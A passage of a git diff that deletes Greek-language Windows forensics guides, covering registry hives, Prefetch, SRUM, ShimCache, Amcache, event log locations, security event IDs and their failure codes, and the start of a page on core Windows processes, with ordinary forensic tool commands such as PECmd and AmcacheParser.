φορτώσετε το αρχείο μητρώου και να περιηγηθείτε σε αυτό με ένα GUI. Περιέχει επίσης σελιδοδείκτες που επισημαίνουν κλειδιά με ενδιαφέρουσες πληροφορίες. -- [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Και πάλι, έχει ένα GUI που επιτρέπει την περιήγηση στο φορτωμένο μητρώο και περιέχει επίσης πρόσθετα που επισημαίνουν ενδιαφέρουσες πληροφορίες μέσα στο φορτωμένο μητρώο. -- [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Μια άλλη εφαρμογή GUI ικανή να εξάγει τις σημαντικές πληροφορίες από το φορτωμένο μητρώο. - -### Ανάκτηση Διαγραμμένων Στοιχείων - -Όταν ένα κλειδί διαγράφεται, επισημαίνεται ως τέτοιο, αλλά μέχρι να χρειαστεί ο χώρος που καταλαμβάνει, δεν θα αφαιρεθεί. Επομένως, χρησιμοποιώντας εργαλεία όπως το **Registry Explorer**, είναι δυνατόν να ανακτηθούν αυτά τα διαγραμμένα κλειδιά. - -### Τελευταίος Χρόνος Γραφής - -Κάθε Key-Value περιέχει μια **χρονική σφραγίδα** που υποδεικνύει την τελευταία φορά που τροποποιήθηκε. - -### SAM - -Το αρχείο/hive **SAM** περιέχει τους **χρήστες, ομάδες και τα hashes των κωδικών πρόσβασης χρηστών** του συστήματος. - -Στο `SAM\Domains\Account\Users` μπορείτε να αποκτήσετε το όνομα χρήστη, το RID, την τελευταία σύνδεση, την τελευταία αποτυχημένη σύνδεση, τον μετρητή σύνδεσης, την πολιτική κωδικών πρόσβασης και πότε δημιουργήθηκε ο λογαριασμός. Για να αποκτήσετε τα **hashes** χρειάζεστε επίσης το αρχείο/hive **SYSTEM**. - -### Ενδιαφέροντα Εγγραφές στο Μητρώο Windows - -{{#ref}} -interesting-windows-registry-keys.md -{{#endref}} - -## Εκτελούμενα Προγράμματα - -### Βασικές Διαδικασίες Windows - -Σε [αυτή την ανάρτηση](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) μπορείτε να μάθετε για τις κοινές διαδικασίες Windows για να ανιχνεύσετε ύποπτες συμπεριφορές. - -### Πρόσφατες Εφαρμογές Windows - -Μέσα στο μητρώο `NTUSER.DAT` στη διαδρομή `Software\Microsoft\Current Version\Search\RecentApps` μπορείτε να βρείτε υποκλειδιά με πληροφορίες σχετικά με την **εφαρμογή που εκτελέστηκε**, **την τελευταία φορά** που εκτελέστηκε και **τον αριθμό φορών** που εκκινήθηκε. - -### BAM (Background Activity Moderator) - -Μπορείτε να ανοίξετε το αρχείο `SYSTEM` με έναν επεξεργαστή μητρώου και μέσα στη διαδρομή `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` μπορείτε να βρείτε πληροφορίες σχετικά με τις **εφαρμογές που εκτελέστηκαν από κάθε χρήστη** (σημειώστε το `{SID}` στη διαδρομή) και **ποια ώρα** εκτελέστηκαν (ο χρόνος είναι μέσα στην τιμή Data του μητρώου). - -### Windows Prefetch - -Η προετοιμασία είναι μια τεχνική που επιτρέπει σε έναν υπολογιστή να **ανακτά σιωπηλά τους απαραίτητους πόρους που χρειάζονται για να εμφανίσουν περιεχόμενο** που ένας χρήστης **μπορεί να έχει πρόσβαση στο εγγύς μέλλον** ώστε οι πόροι να μπορούν να προσπελαστούν πιο γρήγορα. - -Η προετοιμασία των Windows συνίσταται στη δημιουργία **cache των εκτελούμενων προγραμμάτων** για να μπορούν να φορτώνονται πιο γρήγορα. Αυτές οι cache δημιουργούνται ως αρχεία `.pf` μέσα στη διαδρομή: `C:\Windows\Prefetch`. Υπάρχει όριο 128 αρχείων σε XP/VISTA/WIN7 και 1024 αρχείων σε Win8/Win10. - -Το όνομα του αρχείου δημιουργείται ως `{program_name}-{hash}.pf` (το hash βασίζεται στη διαδρομή και τα επιχειρήματα του εκτελέσιμου). Στα W10 αυτά τα αρχεία είναι συμπιεσμένα. Σημειώστε ότι η απλή παρουσία του αρχείου υποδεικνύει ότι **το πρόγραμμα εκτελέστηκε** κάποια στιγμή. - -Το αρχείο `C:\Windows\Prefetch\Layout.ini` περιέχει τα **ονόματα των φακέλων των αρχείων που έχουν προετοιμαστεί**. Αυτό το αρχείο περιέχει **πληροφορίες σχετικά με τον αριθμό των εκτελέσεων**, **ημερομηνίες** εκτέλεσης και **αρχεία** **που άνοιξε** το πρόγραμμα. - -Για να επιθεωρήσετε αυτά τα αρχεία μπορείτε να χρησιμοποιήσετε το εργαλείο [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd): -```bash -.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder" -``` -![](<../../../images/image (487).png>) - -### Superprefetch - -**Superprefetch** έχει τον ίδιο στόχο με το prefetch, **να φορτώνει προγράμματα πιο γρήγορα** προβλέποντας τι θα φορτωθεί επόμενα. Ωστόσο, δεν αντικαθιστά την υπηρεσία prefetch.\ -Αυτή η υπηρεσία θα δημιουργήσει αρχεία βάσης δεδομένων στο `C:\Windows\Prefetch\Ag*.db`. - -Σε αυτές τις βάσεις δεδομένων μπορείτε να βρείτε το **όνομα** του **προγράμματος**, τον **αριθμό** των **εκτελέσεων**, τα **αρχεία** **που άνοιξαν**, τον **όγκο** **που προσπελάστηκε**, την **πλήρη** **διαδρομή**, τα **χρονικά διαστήματα** και τα **χρονοσφραγίσματα**. - -Μπορείτε να αποκτήσετε πρόσβαση σε αυτές τις πληροφορίες χρησιμοποιώντας το εργαλείο [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). - -### SRUM - -**System Resource Usage Monitor** (SRUM) **παρακολουθεί** τους **πόρους** **που καταναλώνονται** **από μια διαδικασία**. Εμφανίστηκε στα W8 και αποθηκεύει τα δεδομένα σε μια βάση δεδομένων ESE που βρίσκεται στο `C:\Windows\System32\sru\SRUDB.dat`. - -Δίνει τις εξής πληροφορίες: - -- AppID και Διαδρομή -- Χρήστης που εκτέλεσε τη διαδικασία -- Αποστολή Bytes -- Λήψη Bytes -- Δικτυακή Διεπαφή -- Διάρκεια σύνδεσης -- Διάρκεια διαδικασίας - -Αυτές οι πληροφορίες ενημερώνονται κάθε 60 λεπτά. - -Μπορείτε να αποκτήσετε την ημερομηνία από αυτό το αρχείο χρησιμοποιώντας το εργαλείο [**srum_dump**](https://github.com/MarkBaggett/srum-dump). -```bash -.\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum -``` -### AppCompatCache (ShimCache) - -Το **AppCompatCache**, γνωστό και ως **ShimCache**, αποτελεί μέρος της **Βάσης Δεδομένων Συμβατότητας Εφαρμογών** που αναπτύχθηκε από τη **Microsoft** για την αντιμετώπιση ζητημάτων συμβατότητας εφαρμογών. Αυτό το συστατικό του συστήματος καταγράφει διάφορα κομμάτια μεταδεδομένων αρχείων, τα οποία περιλαμβάνουν: - -- Πλήρης διαδρομή του αρχείου -- Μέγεθος του αρχείου -- Τελευταία τροποποίηση κάτω από **$Standard_Information** (SI) -- Τελευταία ενημέρωση του ShimCache -- Ση flag εκτέλεσης διαδικασίας - -Τέτοιες πληροφορίες αποθηκεύονται μέσα στη μητρώο σε συγκεκριμένες τοποθεσίες ανάλογα με την έκδοση του λειτουργικού συστήματος: - -- Για XP, τα δεδομένα αποθηκεύονται κάτω από `SYSTEM\CurrentControlSet\Control\SessionManager\Appcompatibility\AppcompatCache` με χωρητικότητα 96 εγγραφών. -- Για Server 2003, καθώς και για τις εκδόσεις Windows 2008, 2012, 2016, 7, 8 και 10, η διαδρομή αποθήκευσης είναι `SYSTEM\CurrentControlSet\Control\SessionManager\AppcompatCache\AppCompatCache`, φιλοξενώντας 512 και 1024 εγγραφές, αντίστοιχα. - -Για να αναλύσετε τις αποθηκευμένες πληροφορίες, προτείνεται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser). - -![](<../../../images/image (488).png>) - -### Amcache - -Το αρχείο **Amcache.hve** είναι ουσιαστικά μια κυψέλη μητρώου που καταγράφει λεπτομέρειες σχετικά με τις εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`. - -Αυτό το αρχείο είναι αξιοσημείωτο για την αποθήκευση καταγραφών πρόσφατα εκτελούμενων διαδικασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμών τους. Αυτές οι πληροφορίες είναι πολύτιμες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα. - -Για να εξάγετε και να αναλύσετε τα δεδομένα από το **Amcache.hve**, μπορείτε να χρησιμοποιήσετε το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Η παρακάτω εντολή είναι ένα παράδειγμα του πώς να χρησιμοποιήσετε το AmcacheParser για να αναλύσετε τα περιεχόμενα του αρχείου **Amcache.hve** και να εξάγετε τα αποτελέσματα σε μορφή CSV: -```bash -AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder -``` -Μεταξύ των παραγόμενων αρχείων CSV, το `Amcache_Unassociated file entries` είναι ιδιαίτερα αξιοσημείωτο λόγω των πλούσιων πληροφοριών που παρέχει σχετικά με τις μη συσχετισμένες καταχωρίσεις αρχείων. - -Το πιο ενδιαφέρον αρχείο CVS που παραγένεται είναι το `Amcache_Unassociated file entries`. - -### RecentFileCache - -Αυτό το αποδεικτικό μπορεί να βρεθεί μόνο σε W7 στο `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων. - -Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο. - -### Προγραμματισμένα καθήκοντα - -Μπορείτε να τα εξάγετε από `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τα διαβάσετε ως XML. - -### Υπηρεσίες - -Μπορείτε να τις βρείτε στο μητρώο κάτω από `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι πρόκειται να εκτελεστεί και πότε. - -### **Windows Store** - -Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στο `\ProgramData\Microsoft\Windows\AppRepository\`\ -Αυτό το αποθετήριο έχει ένα **log** με **κάθε εγκατεστημένη** εφαρμογή στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**. - -Μέσα στον πίνακα Εφαρμογών αυτής της βάσης δεδομένων, είναι δυνατή η εύρεση των στηλών: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες σχετικά με τις προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να βρεθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή τα IDs των εγκατεστημένων εφαρμογών θα πρέπει να είναι διαδοχικά. - -Είναι επίσης δυνατή η **εύρεση εγκατεστημένης εφαρμογής** μέσα στο μονοπάτι μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ -Και **απεγκατεστημένων** **εφαρμογών** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` - -## Windows Events - -Οι πληροφορίες που εμφανίζονται μέσα στα Windows events είναι: - -- Τι συνέβη -- Χρονική σήμανση (UTC + 0) -- Χρήστες που εμπλέκονται -- Φιλοξενούμενοι που εμπλέκονται (hostname, IP) -- Περιουσιακά στοιχεία που προσπελάστηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες) - -Τα logs βρίσκονται στο `C:\Windows\System32\config` πριν από τα Windows Vista και στο `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτά, είναι σε **XML μορφή** και χρησιμοποιούν την **.evtx** επέκταση. - -Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`** - -Μπορούν να οπτικοποιηθούν από τον Windows Event Viewer (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** - -## Κατανόηση της Καταγραφής Γεγονότων Ασφαλείας των Windows - -Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφαλείας που βρίσκεται στο `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι ρυθμιζόμενο και όταν φτάσει την χωρητικότητα του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν συνδέσεις και αποσυνδέσεις χρηστών, ενέργειες χρηστών και αλλαγές στις ρυθμίσεις ασφαλείας, καθώς και πρόσβαση σε αρχεία, φακέλους και κοινά περιουσιακά στοιχεία. - -### Κύριοι Κωδικοί Γεγονότων για Αυθεντικοποίηση Χρηστών: - -- **EventID 4624**: Υποδεικνύει ότι ένας χρήστης αυθεντικοποιήθηκε επιτυχώς. -- **EventID 4625**: Σηματοδοτεί αποτυχία αυθεντικοποίησης. -- **EventIDs 4634/4647**: Αντιπροσωπεύουν γεγονότα αποσύνδεσης χρηστών. -- **EventID 4672**: Υποδηλώνει σύνδεση με διαχειριστικά δικαιώματα. - -#### Υποτύποι εντός του EventID 4634/4647: - -- **Interactive (2)**: Άμεση σύνδεση χρήστη. -- **Network (3)**: Πρόσβαση σε κοινόχρηστους φακέλους. -- **Batch (4)**: Εκτέλεση παρτίδων διαδικασιών. -- **Service (5)**: Εκκινήσεις υπηρεσιών. -- **Proxy (6)**: Αυθεντικοποίηση μέσω proxy. -- **Unlock (7)**: Ξεκλείδωμα οθόνης με κωδικό πρόσβασης. -- **Network Cleartext (8)**: Μετάδοση κωδικού πρόσβασης σε καθαρό κείμενο, συχνά από IIS. -- **New Credentials (9)**: Χρήση διαφορετικών διαπιστευτηρίων για πρόσβαση. -- **Remote Interactive (10)**: Σύνδεση μέσω απομακρυσμένης επιφάνειας εργασίας ή υπηρεσιών τερματικού. -- **Cache Interactive (11)**: Σύνδεση με αποθηκευμένα διαπιστευτήρια χωρίς επαφή με τον ελεγκτή τομέα. -- **Cache Remote Interactive (12)**: Απομακρυσμένη σύνδεση με αποθηκευμένα διαπιστευτήρια. -- **Cached Unlock (13)**: Ξεκλείδωμα με αποθηκευμένα διαπιστευτήρια. - -#### Κωδικοί Κατάστασης και Υποκατάστασης για το EventID 4625: - -- **0xC0000064**: Το όνομα χρήστη δεν υπάρχει - Μπορεί να υποδηλώνει επίθεση αναγνώρισης ονόματος χρήστη. -- **0xC000006A**: Σωστό όνομα χρήστη αλλά λάθος κωδικός πρόσβασης - Πιθανή απόπειρα μαντεψιάς κωδικού ή brute-force. -- **0xC0000234**: Ο λογαριασμός χρήστη έχει κλειδώσει - Μπορεί να ακολουθεί μια επίθεση brute-force που έχει ως αποτέλεσμα πολλές αποτυχημένες συνδέσεις. -- **0xC0000072**: Ο λογαριασμός έχει απενεργοποιηθεί - Μη εξουσιοδοτημένες απόπειρες πρόσβασης σε απενεργοποιημένους λογαριασμούς. -- **0xC000006F**: Σύνδεση εκτός επιτρεπόμενου χρόνου - Υποδηλώνει απόπειρες πρόσβασης εκτός των καθορισμένων ωρών σύνδεσης, πιθανό σημάδι μη εξουσιοδοτημένης πρόσβασης. -- **0xC0000070**: Παράβαση περιορισμών σταθμού εργασίας - Μπορεί να είναι απόπειρα σύνδεσης από μη εξουσιοδοτημένη τοποθεσία. -- **0xC0000193**: Λήξη λογαριασμού - Απόπειρες πρόσβασης με λογαριασμούς χρηστών που έχουν λήξει. -- **0xC0000071**: Ληγμένος κωδικός πρόσβασης - Απόπειρες σύνδεσης με παρωχημένους κωδικούς πρόσβασης. -- **0xC0000133**: Προβλήματα συγχρονισμού χρόνου - Μεγάλες αποκλίσεις χρόνου μεταξύ πελάτη και διακομιστή μπορεί να υποδηλώνουν πιο εξελιγμένες επιθέσεις όπως pass-the-ticket. -- **0xC0000224**: Απαιτείται υποχρεωτική αλλαγή κωδικού πρόσβασης - Συχνές υποχρεωτικές αλλαγές μπορεί να υποδηλώνουν απόπειρα αποσταθεροποίησης της ασφάλειας του λογαριασμού. -- **0xC0000225**: Υποδηλώνει σφάλμα συστήματος παρά πρόβλημα ασφαλείας. -- **0xC000015b**: Αρνημένος τύπος σύνδεσης - Απόπειρα πρόσβασης με μη εξουσιοδοτημένο τύπο σύνδεσης, όπως χρήστης που προσπαθεί να εκτελέσει σύνδεση υπηρεσίας. - -#### EventID 4616: - -- **Αλλαγή Χρόνου**: Τροποποίηση του συστήματος χρόνου, μπορεί να θολώσει τη χρονολογία των γεγονότων. - -#### EventID 6005 και 6006: - -- **Εκκίνηση και Τερματισμός Συστήματος**: Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 το τερματισμό του. - -#### EventID 1102: - -- **Διαγραφή Log**: Καθαρισμός των ασφαλιστικών logs, που συχνά είναι κόκκινη σημαία για κάλυψη παράνομων δραστηριοτήτων. - -#### EventIDs για Παρακολούθηση Συσκευών USB: - -- **20001 / 20003 / 10000**: Πρώτη σύνδεση συσκευής USB. -- **10100**: Ενημέρωση οδηγού USB. -- **EventID 112**: Χρόνος εισαγωγής συσκευής USB. - -Για πρακτικά παραδείγματα σχετικά με την προσομοίωση αυτών των τύπων σύνδεσης και ευκαιριών εξαγωγής διαπιστευτηρίων, ανατρέξτε στον [αναλυτικό οδηγό της Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them). - -Λεπτομέρειες γεγονότων, συμπεριλαμβανομένων των κωδικών κατάστασης και υποκατάστασης, παρέχουν περαιτέρω πληροφορίες σχετικά με τις αιτίες των γεγονότων, ιδιαίτερα αξιοσημείωτες στο Event ID 4625. - -### Ανάκτηση Γεγονότων Windows - -Για να αυξήσετε τις πιθανότητες ανάκτησης διαγραμμένων Γεγονότων Windows, είναι σκόπιμο να απενεργοποιήσετε τον ύποπτο υπολογιστή αποσυνδέοντάς τον απευθείας. **Bulk_extractor**, ένα εργαλείο ανάκτησης που προσδιορίζει την επέκταση `.evtx`, συνιστάται για την προσπάθεια ανάκτησης τέτοιων γεγονότων. - -### Αναγνώριση Κοινών Επιθέσεων μέσω Γεγονότων Windows - -Για έναν ολοκληρωμένο οδηγό σχετικά με τη χρήση των Windows Event IDs στην αναγνώριση κοινών κυβερνοεπιθέσεων, επισκεφθείτε τον [Red Team Recipe](https://redteamrecipe.com/event-codes/). - -#### Επιθέσεις Brute Force - -Αναγνωρίσιμες από πολλαπλές καταγραφές EventID 4625, ακολουθούμενες από ένα EventID 4624 αν η επίθεση είναι επιτυχής. - -#### Αλλαγή Χρόνου - -Καταγράφεται από το EventID 4616, οι αλλαγές στο χρόνο του συστήματος μπορούν να περιπλέκουν την ανάλυση εγκληματολογίας. - -#### Παρακολούθηση Συσκευών USB - -Χρήσιμα System EventIDs για την παρακολούθηση συσκευών USB περιλαμβάνουν 20001/20003/10000 για αρχική χρήση, 10100 για ενημερώσεις οδηγών και EventID 112 από το DeviceSetupManager για χρονικές σφραγίδες εισαγωγής. - -#### Γεγονότα Ικανότητας Συστήματος - -Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον τερματισμό. - -#### Διαγραφή Log - -Το EventID 1102 ασφαλείας σηματοδοτεί τη διαγραφή των logs, ένα κρίσιμο γεγονός για την ανάλυση εγκληματολογίας. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md deleted file mode 100644 index 96de814cd..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ /dev/null @@ -1,101 +0,0 @@ -# Ενδιαφέροντα Κλειδιά Μητρώου Windows - -### Ενδιαφέροντα Κλειδιά Μητρώου Windows - -{{#include ../../../banners/hacktricks-training.md}} - -### **Πληροφορίες Έκδοσης και Ιδιοκτήτη Windows** - -- Βρίσκεται στο **`Software\Microsoft\Windows NT\CurrentVersion`**, θα βρείτε την έκδοση των Windows, το Service Pack, τον χρόνο εγκατάστασης και το όνομα του καταχωρημένου ιδιοκτήτη με σαφή τρόπο. - -### **Όνομα Υπολογιστή** - -- Το όνομα υπολογιστή βρίσκεται κάτω από **`System\ControlSet001\Control\ComputerName\ComputerName`**. - -### **Ρύθμιση Ζώνης Ώρας** - -- Η ζώνη ώρας του συστήματος αποθηκεύεται στο **`System\ControlSet001\Control\TimeZoneInformation`**. - -### **Παρακολούθηση Χρόνου Πρόσβασης** - -- Από προεπιλογή, η παρακολούθηση του τελευταίου χρόνου πρόσβασης είναι απενεργοποιημένη (**`NtfsDisableLastAccessUpdate=1`**). Για να την ενεργοποιήσετε, χρησιμοποιήστε: -`fsutil behavior set disablelastaccess 0` - -### Εκδόσεις Windows και Service Packs - -- Η **έκδοση Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέες δυνατότητες. - -### Ενεργοποίηση Χρόνου Τελευταίας Πρόσβασης - -- Η ενεργοποίηση της παρακολούθησης του τελευταίου χρόνου πρόσβασης σας επιτρέπει να δείτε πότε άνοιξαν τελευταία τα αρχεία, κάτι που μπορεί να είναι κρίσιμο για την εγκληματολογική ανάλυση ή την παρακολούθηση του συστήματος. - -### Λεπτομέρειες Πληροφοριών Δικτύου - -- Το μητρώο περιέχει εκτενή δεδομένα σχετικά με τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, που είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας δικτύου και των δικαιωμάτων. - -### Client Side Caching (CSC) - -- **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης αποθηκεύοντας αντίγραφα κοινών αρχείων. Διαφορετικές ρυθμίσεις **CSCFlags** ελέγχουν πώς και ποια αρχεία αποθηκεύονται στην κρυφή μνήμη, επηρεάζοντας την απόδοση και την εμπειρία του χρήστη, ειδικά σε περιβάλλοντα με διαλείπουσα συνδεσιμότητα. - -### Προγράμματα AutoStart - -- Τα προγράμματα που αναφέρονται σε διάφορα κλειδιά μητρώου `Run` και `RunOnce` εκκινούν αυτόματα κατά την εκκίνηση, επηρεάζοντας τον χρόνο εκκίνησης του συστήματος και ενδεχομένως αποτελώντας σημεία ενδιαφέροντος για την αναγνώριση κακόβουλου λογισμικού ή ανεπιθύμητου λογισμικού. - -### Shellbags - -- **Shellbags** όχι μόνο αποθηκεύουν προτιμήσεις για τις προβολές φακέλων αλλά παρέχουν επίσης εγκληματολογικά στοιχεία πρόσβασης φακέλων ακόμη και αν ο φάκελος δεν υπάρχει πια. Είναι ανεκτίμητα για τις έρευνες, αποκαλύπτοντας δραστηριότητα χρηστών που δεν είναι προφανής μέσω άλλων μέσων. - -### Πληροφορίες USB και Εγκληματολογία - -- Οι λεπτομέρειες που αποθηκεύονται στο μητρώο σχετικά με τις συσκευές USB μπορούν να βοηθήσουν στην ανίχνευση ποια συσκευές συνδέθηκαν σε έναν υπολογιστή, ενδεχομένως συνδέοντας μια συσκευή με ευαίσθητες μεταφορές αρχείων ή περιστατικά μη εξουσιοδοτημένης πρόσβασης. - -### Αριθμός Σειράς Τόμου - -- Ο **Αριθμός Σειράς Τόμου** μπορεί να είναι κρίσιμος για την παρακολούθηση της συγκεκριμένης περίπτωσης ενός συστήματος αρχείων, χρήσιμο σε εγκληματολογικά σενάρια όπου πρέπει να καθοριστεί η προέλευση ενός αρχείου σε διάφορες συσκευές. - -### **Λεπτομέρειες Τερματισμού** - -- Ο χρόνος και ο αριθμός τερματισμού (ο τελευταίος μόνο για XP) διατηρούνται στο **`System\ControlSet001\Control\Windows`** και **`System\ControlSet001\Control\Watchdog\Display`**. - -### **Ρύθμιση Δικτύου** - -- Για λεπτομερείς πληροφορίες διεπαφής δικτύου, ανατρέξτε στο **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**. -- Οι πρώτοι και τελευταίοι χρόνοι σύνδεσης δικτύου, συμπεριλαμβανομένων των συνδέσεων VPN, καταγράφονται κάτω από διάφορες διαδρομές στο **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**. - -### **Κοινόχρηστοι Φάκελοι** - -- Οι κοινόχρηστοι φάκελοι και οι ρυθμίσεις βρίσκονται κάτω από **`System\ControlSet001\Services\lanmanserver\Shares`**. Οι ρυθμίσεις Client Side Caching (CSC) καθορίζουν τη διαθεσιμότητα αρχείων εκτός σύνδεσης. - -### **Προγράμματα που Ξεκινάνε Αυτόματα** - -- Διαδρομές όπως **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** και παρόμοιες καταχωρήσεις κάτω από `Software\Microsoft\Windows\CurrentVersion` περιγράφουν προγράμματα που έχουν ρυθμιστεί να εκκινούν κατά την εκκίνηση. - -### **Αναζητήσεις και Πληκτρολογημένες Διαδρομές** - -- Οι αναζητήσεις του Explorer και οι πληκτρολογημένες διαδρομές παρακολουθούνται στο μητρώο κάτω από **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** για WordwheelQuery και TypedPaths, αντίστοιχα. - -### **Πρόσφατα Έγγραφα και Αρχεία Office** - -- Τα πρόσφατα έγγραφα και τα αρχεία Office που έχουν προσπελαστεί σημειώνονται στο `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` και σε συγκεκριμένες διαδρομές έκδοσης Office. - -### **Πιο Πρόσφατα Χρησιμοποιούμενα (MRU) Στοιχεία** - -- Οι λίστες MRU, που υποδεικνύουν πρόσφατες διαδρομές αρχείων και εντολές, αποθηκεύονται σε διάφορα υποκλειδιά `ComDlg32` και `Explorer` κάτω από `NTUSER.DAT`. - -### **Παρακολούθηση Δραστηριότητας Χρήστη** - -- Η δυνατότητα User Assist καταγράφει λεπτομερείς στατιστικές χρήσης εφαρμογών, συμπεριλαμβανομένου του αριθμού εκτελέσεων και του τελευταίου χρόνου εκτέλεσης, στο **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**. - -### **Ανάλυση Shellbags** - -- Τα Shellbags, που αποκαλύπτουν λεπτομέρειες πρόσβασης φακέλων, αποθηκεύονται στο `USRCLASS.DAT` και `NTUSER.DAT` κάτω από `Software\Microsoft\Windows\Shell`. Χρησιμοποιήστε **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** για ανάλυση. - -### **Ιστορικό Συσκευών USB** - -- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** και **`HKLM\SYSTEM\ControlSet001\Enum\USB`** περιέχουν πλούσιες λεπτομέρειες σχετικά με τις συνδεδεμένες συσκευές USB, συμπεριλαμβανομένου του κατασκευαστή, του ονόματος προϊόντος και των χρονικών σημείων σύνδεσης. -- Ο χρήστης που σχετίζεται με μια συγκεκριμένη συσκευή USB μπορεί να προσδιοριστεί αναζητώντας τις βάσεις `NTUSER.DAT` για το **{GUID}** της συσκευής. -- Η τελευταία τοποθετημένη συσκευή και ο αριθμός σειράς τόμου της μπορούν να ανιχνευθούν μέσω `System\MountedDevices` και `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, αντίστοιχα. - -Αυτός ο οδηγός συμπυκνώνει τις κρίσιμες διαδρομές και μεθόδους για την πρόσβαση σε λεπτομερείς πληροφορίες συστήματος, δικτύου και δραστηριότητας χρηστών σε συστήματα Windows, στοχεύοντας στην καθαρότητα και τη χρηστικότητα. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md b/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md deleted file mode 100644 index 45f900446..000000000 --- a/src/forensics/basic-forensic-methodology/windows-forensics/windows-processes.md +++ /dev/null @@ -1,106 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -## smss.exe - -**Διαχειριστής Συνεδρίας**.\ -Η Συνεδρία 0 ξεκινά **csrss.exe** και **wininit.exe** (**υπηρεσίες** **OS**) ενώ η Συνεδρία 1 ξεκινά **csrss.exe** και **winlogon.exe** (**συνεδρία** **χρήστη**). Ωστόσο, θα πρέπει να δείτε **μόνο μία διαδικασία** αυτού του **δυαδικού** χωρίς παιδιά στο δέντρο διαδικασιών. - -Επίσης, οι συνεδρίες εκτός από τις 0 και 1 μπορεί να σημαίνουν ότι συμβαίνουν συνεδρίες RDP. - -## csrss.exe - -**Διαδικασία Υποσυστήματος Πελάτη/Διακομιστή**.\ -Διαχειρίζεται **διαδικασίες** και **νήματα**, καθιστά διαθέσιμη την **API** **Windows** για άλλες διαδικασίες και επίσης **χαρτογραφεί γράμματα δίσκων**, δημιουργεί **temp αρχεία** και χειρίζεται τη διαδικασία **τερματισμού**. - -Υπάρχει μία **που εκτελείται στη Συνεδρία 0 και άλλη μία στη Συνεδρία 1** (έτσι **2 διαδικασίες** στο 